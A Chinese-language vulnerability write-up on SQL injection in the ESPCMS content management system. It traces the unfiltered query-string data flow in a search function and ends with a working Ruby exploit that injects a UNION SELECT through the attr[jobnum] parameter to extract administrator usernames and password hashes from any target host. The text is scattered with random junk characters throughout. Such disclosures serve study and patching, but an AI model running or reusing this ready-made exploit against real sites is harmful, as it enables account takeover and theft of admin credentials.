0×0 漏洞概述0×1 漏洞细节, w/ ^* n& N$ K: k3 V
0×2 PoC! F7 p& j% m% U
7 q$ i! R! n. w D0 _( B( v) s V+ }
C" u& K2 \. C! v! o2 s, B; d* a0×0 漏洞概述& V- ^7 p; T5 t
' w+ \$ g* [$ c) G易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。) C/ t2 `8 C' ?% w0 m
其在处理传入的参数时考虑不严谨导致SQL注入发生( F$ R7 U' T4 C3 |4 ]) {0 T/ _
; s+ X1 I- r1 |/ _! _/ v% W
/ @% E+ K4 y, x. ^4 L* D) D
0×1 漏洞细节; Q$ t k" M A- `$ v/ A
) H k6 B- |7 g5 d& }
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。0 f! ~3 z4 }/ [2 A
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。% J9 W% |. [) \
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。! g8 F* ? b; `0 F" p
" @ z, ^8 Q$ ~% ]$ F" H
在/interface/3gwap_search.php文件的in_result函数中: u8 ~( u- A0 m
6 J' t. H7 d; W2 w; S, l6 i X4 l' \/ u2 w6 K, Y- L' }+ ]. x
4 o' O* v$ ]9 \; y4 J: C" n function in_result() {
; j) \# ~( J6 y6 W! ] ... ... ... ... ... ... ... ... ...
3 \& P' o: r+ F# t) w $urlcode = $_SERVER[ 'QUERY_STRING '];
( h3 Y5 q: [* b" [9 K* o parse_str(html_entity_decode($urlcode), $output);# o6 g7 E% n' j
: |: O/ t( X' U7 I ... ... ... ... ... ... ... ... ...7 p( o/ D: }5 @5 r& J7 I D- r, x
if (is_array($output['attr' ]) && count($output['attr']) > 0) {: {6 h4 P0 z2 n# O$ O- i8 v9 X, K# w
# X% V, x1 j4 H6 F $db_table = db_prefix . 'model_att';
5 U: l6 e, Z9 N1 |, X$ H& U8 J+ t7 U3 m1 l8 M/ t
foreach ($output['attr' ] as $key => $value) {/ U4 E1 L# u4 ~2 p4 y
if ($value) {
a2 q: i$ J) L l) N4 h- B
8 r5 ]7 O0 o3 u- Z0 a/ K $key = addslashes($key);, F1 s! X. [ s# x8 ~8 B
$key = $this-> fun->inputcodetrim($key);
, `2 m3 L6 a$ w, c $db_att_where = " WHERE isclass=1 AND attrname='$key'";# u- L( E% y) v" P
$countnum = $this->db_numrows($db_table, $db_att_where);
N2 B2 A3 O8 x if ($countnum > 0) {: z$ c; p+ ]# }8 ?6 O* w. }
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
% K L; |( c. z& q6 { }
2 H5 _- ^( H6 I6 T. d/ w7 e }9 a& C' I" @' v8 @1 J0 \, b" E
}$ l: P* _1 w M$ |9 T% j+ v
}5 n& H& V( G: E% t
if (!empty ($keyword) && empty($keyname)) {
$ ?$ C5 N& k$ s $keyname = 'title';
3 |3 w( @# a# p+ R $db_where.= " AND a.title like '%$keyword%'" ;2 W9 x; M7 |/ `! [" k
} elseif (!empty ($keyword) && !empty($keyname)) {! d( _2 J8 d1 G4 D, H I( }; G
$db_where.= " AND $keyname like '% $keyword%'";8 [. d( F$ Y( D: k1 d
}
4 j; R+ q4 l [% e O) A $pagemax = 15;* V% t% Q, W, z: J# K8 D/ t% {
$ [4 M, O' I( N( B2 K7 r U. A/ r5 S $pagesylte = 1;
" G1 I4 R% P" f9 @ a- o$ y
. U# `- v# h1 j# H) Z if ($countnum > 0) {
3 Z6 r/ q$ X0 \, U! U' |
& @, Z2 i. U- k4 G+ o $numpage = ceil($countnum / $pagemax);
" p8 K4 f* Z6 o8 R } else {( G, m+ N8 H) `6 N
$numpage = 1;
7 J& {" g( x. [ s! c }
0 c1 }5 B$ L4 @) o $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
& u/ ]) b+ s0 K0 d( ^ $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);- `# t0 W/ i. P3 G1 Z
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
; z; g/ y) G( b" F0 k ... ... ... ... ... ... ... ... ...
) t( B( B' x% C, M# i }$ ?8 y- }+ t) G2 c# X
9 p3 X, c- Y( ^% M1 ?! \2 i f
: |0 T. e( N) v% T& r0×2 PoC
) S0 e/ R: \) W4 @: D6 j- v& S7 C" v1 y, ]
0 M( Z: d: w( G6 ^2 }6 g
: B! z* P8 R9 g6 prequire "net/http"
) g" _: A/ G4 i- s
( L9 ?/ d# @3 U$ J) Q5 ]0 Gdef request(method, url)
1 O9 c8 J: `" Z0 j if method.eql?("get")
3 n: m8 F& {+ P7 A0 L uri = URI.parse(url)8 p$ Y p b8 l" i( d+ E
http = Net::HTTP.new(uri.host, uri.port)" @& z: s/ {) _; v
response = http.request(Net::HTTP::Get.new(uri.request_uri))
- m5 g/ C- ?* j! K% r return response
, w, n3 P# J: P3 F! u- S end
f- I* A$ P0 Q; d d; dend
, y) k3 }# @, i; A9 @3 W$ t1 _$ j' B5 `; {
doc =<<HERE
( {3 Y. x A3 X. B-------------------------------------------------------; a; [' D1 u; _8 X! V* [
Espcms Injection Exploit
% l/ z) q+ ` OAuthor:ztz8 s: P/ b/ |* u
Blog:http://ztz.fuzzexp.org/
/ A% y+ k, m7 `8 E( [. X-------------------------------------------------------' N* R& Y4 j& ^ b8 H0 ]- D
! o2 Y1 k5 j+ G9 J4 ~& ^- M
HERE
0 I' W; v' I+ C! z2 `! O& J6 w/ ^8 ~8 P1 R
usage =<<HERE+ z' C5 _- U" u( Y2 u& `( k9 E: Z
Usage: ruby #{$0} host port path" |' X$ w& _; H! S1 e- U
example: ruby #{$0} www.target.com 80 /, v& Q, c( j1 V& d
HERE; u) i! x3 L$ [
, a6 X& w+ ^% }- Y/ H7 H
puts doc
& T# q; g9 o) y2 F( @9 v- J/ Nif ARGV.length < 3* y- m% u1 b8 l, s5 r
puts usage; y# |/ q6 I2 k1 N1 k7 `) q0 y) w
else1 n) \. Q7 @" u
$host = ARGV[0]
/ n5 V" [; M, D2 Z4 h. F $port = ARGV[1]
! q' [# C I6 D: i) C $path = ARGV[2]
: z9 x+ U% ]! x# j
$ B: \+ I; K: T M. r puts "send request..."* O' y$ ^' U0 k- L% r. u) E; _
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
2 t' }6 ?0 ~) u6 f# ~) S; i6 G1 M+ T hattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
) a* U+ e, f g9 G, b,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27# N) b2 o; |" G; m
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
1 t7 f* n, K" Y1 Z5 ]; U' H0 x response = request("get", url)! ^$ ^8 _, L; d* k5 q( e/ ]4 l
result = response.body.scan(/\w+&\w{32}/)
+ v- v q" \2 S puts result
: c7 C: V" T; H, Gend
7 l8 {9 P. ^9 z* \# U1 ~2 c1 |; }( \& H1 m i' F% F0 z* {8 O
|